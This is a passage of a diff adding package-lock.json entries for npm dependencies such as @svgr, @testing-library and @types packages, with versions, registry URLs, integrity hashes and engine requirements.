"sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/babel-plugin-remove-jsx-empty-expression": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz", + "integrity": "sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/babel-plugin-replace-jsx-attribute-value": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz", + "integrity": "sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/babel-plugin-svg-dynamic-title": { + "version": "5.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz", + "integrity": "sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/babel-plugin-svg-em-dimensions": { + "version": "5.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz", + "integrity": "sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/babel-plugin-transform-react-native-svg": { + "version": "5.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz", + "integrity": "sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/babel-plugin-transform-svg-component": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz", + "integrity": "sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/babel-preset": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-preset/-/babel-preset-5.5.0.tgz", + "integrity": "sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig==", + "dependencies": { + "@svgr/babel-plugin-add-jsx-attribute": "^5.4.0", + "@svgr/babel-plugin-remove-jsx-attribute": "^5.4.0", + "@svgr/babel-plugin-remove-jsx-empty-expression": "^5.0.1", + "@svgr/babel-plugin-replace-jsx-attribute-value": "^5.0.1", + "@svgr/babel-plugin-svg-dynamic-title": "^5.4.0", + "@svgr/babel-plugin-svg-em-dimensions": "^5.4.0", + "@svgr/babel-plugin-transform-react-native-svg": "^5.4.0", + "@svgr/babel-plugin-transform-svg-component": "^5.5.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/core": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/core/-/core-5.5.0.tgz", + "integrity": "sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ==", + "dependencies": { + "@svgr/plugin-jsx": "^5.5.0", + "camelcase": "^6.2.0", + "cosmiconfig": "^7.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/hast-util-to-babel-ast": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz", + "integrity": "sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ==", + "dependencies": { + "@babel/types": "^7.12.6" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/plugin-jsx": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz", + "integrity": "sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA==", + "dependencies": { + "@babel/core": "^7.12.3", + "@svgr/babel-preset": "^5.5.0", + "@svgr/hast-util-to-babel-ast": "^5.5.0", + "svg-parser": "^2.0.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/plugin-svgo": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz", + "integrity": "sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ==", + "dependencies": { + "cosmiconfig": "^7.0.0", + "deepmerge": "^4.2.2", + "svgo": "^1.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/webpack": { + "version": "5.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/webpack/-/webpack-5.5.0.tgz", + "integrity": "sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g==", + "dependencies": { + "@babel/core": "^7.12.3", + "@babel/plugin-transform-react-constant-elements": "^7.12.1", + "@babel/preset-env": "^7.12.1", + "@babel/preset-react": "^7.12.5", + "@svgr/core": "^5.5.0", + "@svgr/plugin-jsx": "^5.5.0", + "@svgr/plugin-svgo": "^5.5.0", + "loader-utils": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@testing-library/dom": { + "version": "9.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@testing-library/dom/-/dom-9.3.1.tgz", + "integrity": "sha512-0DGPd9AR3+iDTjGoMpxIkAsUihHZ3Ai6CneU6bRRrffXMgzCdlNk43jTrD2/5LT6CBb3MWTP8v510JzYtahD2w==", + "peer": true, + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": "5.1.3", + "chalk": "^4.1.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "pretty-format": "^27.0.2" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@testing-library/dom/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/dom/node_modules/aria-query": { + "version": "5.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/aria-query/-/aria-query-5.1.3.tgz", + "integrity": "sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ==", + "peer": true, + "dependencies": { + "deep-equal": "^2.0.5" + } + }, + "node_modules/@testing-library/dom/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@testing-library/dom/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@testing-library/dom/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/@testing-library/dom/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/dom/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/jest-dom": { + "version": "5.16.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@testing-library/jest-dom/-/jest-dom-5.16.5.tgz", + "integrity": "sha512-N5ixQ2qKpi5OLYfwQmUb/5mSV9LneAcaUfp32pn4yCnpb8r/Yz0pXFPck21dIicKmi+ta5WRAknkZCfA8refMA==", + "dependencies": { + "@adobe/css-tools": "^4.0.1", + "@babel/runtime": "^7.9.2", + "@types/testing-library__jest-dom": "^5.9.1", + "aria-query": "^5.0.0", + "chalk": "^3.0.0", + "css.escape": "^1.5.1", + "dom-accessibility-api": "^0.5.6", + "lodash": "^4.17.15", + "redent": "^3.0.0" + }, + "engines": { + "node": ">=8", + "npm": ">=6", + "yarn": ">=1" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@testing-library/jest-dom/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/react": { + "version": "13.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@testing-library/react/-/react-13.4.0.tgz", + "integrity": "sha512-sXOGON+WNTh3MLE9rve97ftaZukN3oNf2KjDy7YTx6hcTO2uuLHuCGynMDhFwGw/jYf4OJ2Qk0i4i79qMNNkyw==", + "dependencies": { + "@babel/runtime": "^7.12.5", + "@testing-library/dom": "^8.5.0", + "@types/react-dom": "^18.0.0" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "react": "^18.0.0", + "react-dom": "^18.0.0" + } + }, + "node_modules/@testing-library/react/node_modules/@testing-library/dom": { + "version": "8.20.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@testing-library/dom/-/dom-8.20.1.tgz", + "integrity": "sha512-/DiOQ5xBxgdYRC8LNk7U+RWat0S3qRLeIw3ZIkMQ9kkVlRmwD/Eg8k8CqIpD6GW7u20JIUOfMKbxtiLutpjQ4g==", + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": "5.1.3", + "chalk": "^4.1.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "pretty-format": "^27.0.2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@testing-library/react/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/react/node_modules/aria-query": { + "version": "5.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/aria-query/-/aria-query-5.1.3.tgz", + "integrity": "sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ==", + "dependencies": { + "deep-equal": "^2.0.5" + } + }, + "node_modules/@testing-library/react/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@testing-library/react/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@testing-library/react/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@testing-library/react/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/react/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/user-event": { + "version": "13.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@testing-library/user-event/-/user-event-13.5.0.tgz", + "integrity": "sha512-5Kwtbo3Y/NowpkbRuSepbyMFkZmHgD+vPzYB/RJ4oxt5Gj/avFFBYjhw27cqSVPVw/3a67NK1PbiIr9k4Gwmdg==", + "dependencies": { + "@babel/runtime": "^7.12.5" + }, + "engines": { + "node": ">=10", + "npm": ">=6" + }, + "peerDependencies": { + "@testing-library/dom": ">=7.21.4" + } + }, + "node_modules/@tootallnate/once": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@tootallnate/once/-/once-1.1.2.tgz", + "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/@trysound/sax": { + "version": "0.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@trysound/sax/-/sax-0.2.0.tgz", + "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/@types/aria-query": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/aria-query/-/aria-query-5.0.1.tgz", + "integrity": "sha512-XTIieEY+gvJ39ChLcB4If5zHtPxt3Syj5rgZR+e1ctpmK8NjPf0zFqsz4JpLJT0xla9GFDKjy8Cpu331nrmE1Q==" + }, + "node_modules/@types/babel__core": { + "version": "7.20.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/babel__core/-/babel__core-7.20.1.tgz", + "integrity": "sha512-aACu/U/omhdk15O4Nfb+fHgH/z3QsfQzpnvRZhYhThms83ZnAOZz7zZAWO7mn2yyNQaA4xTO8GLK3uqFU4bYYw==", + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.6.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/babel__generator/-/babel__generator-7.6.4.tgz", + "integrity": "sha512-tFkciB9j2K755yrTALxD44McOrk+gfpIpvC3sxHjRawj6PfnQxrse4Clq5y/Rq+G3mrBurMax/lG8Qn2t9mSsg==", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/babel__template/-/babel__template-7.4.1.tgz", + "integrity": "sha512-azBFKemX6kMg5Io+/rdGT0dkGreboUVR0Cdm3fz9QJWpaQGJRQXl7C+6hOTCZcMll7KFyEQpgbYI2lHdsS4U7g==", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.20.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/babel__traverse/-/babel__traverse-7.20.1.tgz", + "integrity": "sha512-MitHFXnhtgwsGZWtT68URpOvLN4EREih1u3QtQiN4VdAxWKRVvGCSvw/Qth0M0Qq3pJpnGOu5JaM/ydK7OGbqg==", + "dependencies": { + "@babel/types": "^7.20.7" + } + }, + "node_modules/@types/body-parser": { + "version": "1.19.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/body-parser/-/body-parser-1.19.2.tgz", + "integrity": "sha512-ALYone6pm6QmwZoAgeyNksccT9Q4AWZQ6PvfwR37GT6r6FWUPguq6sUmNGSMV2Wr761oQoBxwGGa6DR5o1DC9g==", + "dependencies": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "node_modules/@types/bonjour": { + "version": "3.5.10", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/bonjour/-/bonjour-3.5.10.tgz", + "integrity": "sha512-p7ienRMiS41Nu2/igbJxxLDWrSZ0WxM8UQgCeO9KhoVF7cOVFkrKsiDr1EsJIla8vV3oEEjGcz11jc5yimhzZw==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect": { + "version": "3.4.35", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/connect/-/connect-3.4.35.tgz", + "integrity": "sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect-history-api-fallback": { + "version": "1.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.0.tgz", + "integrity": "sha512-4x5FkPpLipqwthjPsF7ZRbOv3uoLUFkTA9G9v583qi4pACvq0uTELrB8OLUzPWUI4IJIyvM85vzkV1nyiI2Lig==", + "dependencies": { + "@types/express-serve-static-core": "*", + "@types/node": "*" + } + }, + "node_modules/@types/eslint": { + "version": "8.40.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/eslint/-/eslint-8.40.2.tgz", + "integrity": "sha512-PRVjQ4Eh9z9pmmtaq8nTjZjQwKFk7YIHIud3lRoKRBgUQjgjRmoGxxGEPXQkF+lH7QkHJRNr5F4aBgYCW0lqpQ==", + "dependencies": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz", + "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==" + }, + "node_modules/@types/express": { + "version": "4.17.17", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/express/-/express-4.17.17.tgz", + "integrity": "sha512-Q4FmmuLGBG58btUnfS1c1r/NQdlp3DMfGDGig8WhfpA2YRUtEkxAjkZb0yvplJGYdF1fsQ81iMDcH24sSCNC/Q==", + "dependencies": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.33", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "node_modules/@types/express-serve-static-core": { + "version": "4.17.35", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/express-serve-static-core/-/express-serve-static-core-4.17.35.tgz", + "integrity": "sha512-wALWQwrgiB2AWTT91CB62b6Yt0sNHpznUXeZEcnPU3DRdlDIz74x8Qg1UUYKSVFi+va5vKOLYRBI1bRKiLLKIg==", + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "node_modules/@types/graceful-fs": { + "version": "4.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/graceful-fs/-/graceful-fs-4.1.6.tgz", + "integrity": "sha512-Sig0SNORX9fdW+bQuTEovKj3uHcUL6LQKbCrrqb1X7J6/ReAbhCXRAhc+SMejhLELFj2QcyuxmUooZ4bt5ReSw==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==" + }, + "node_modules/@types/http-proxy": { + "version": "1.17.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/http-proxy/-/http-proxy-1.17.11.tgz", + "integrity": "sha512-HC8G7c1WmaF2ekqpnFq626xd3Zz0uvaqFmBJNRZCGEZCXkvSdJoNFn/8Ygbd9fKNQj8UzLdCETaI0UWPAjK7IA==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz", + "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==" + }, + "node_modules/@types/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "dependencies": { + "@types/istanbul-lib-coverage": "*" + } + }, + "node_modules/@types/istanbul-reports": { + "version": "3.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", + "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", + "dependencies": { + "@types/istanbul-lib-report": "*" + } + }, + "node_modules/@types/jest": { + "version": "29.5.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/jest/-/jest-29.5.2.tgz", + "integrity": "sha512-mSoZVJF5YzGVCk+FsDxzDuH7s+SCkzrgKZzf0Z0T2WudhBUPoF6ktoTPC4R0ZoCPCV5xUvuU6ias5NvxcBcMMg==", + "dependencies": { + "expect": "^29.0.0", + "pretty-format": "^29.0.0" + } + }, + "node_modules/@types/jest/node_modules/@jest/schemas": { + "version": "29.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/schemas/-/schemas-29.4.3.tgz", + "integrity": "sha512-VLYKXQmtmuEz6IxJsrZwzG9NvtkQsWNnWMsKxqWNu3+CnfzJQhp0WDDKWLVV9hLKr0l3SLLFRqcYHjhtyuDVxg==", + "dependencies": { + "@sinclair/typebox": "^0.25.16" + }, + "engines": { + "node": "^14.15.0 || 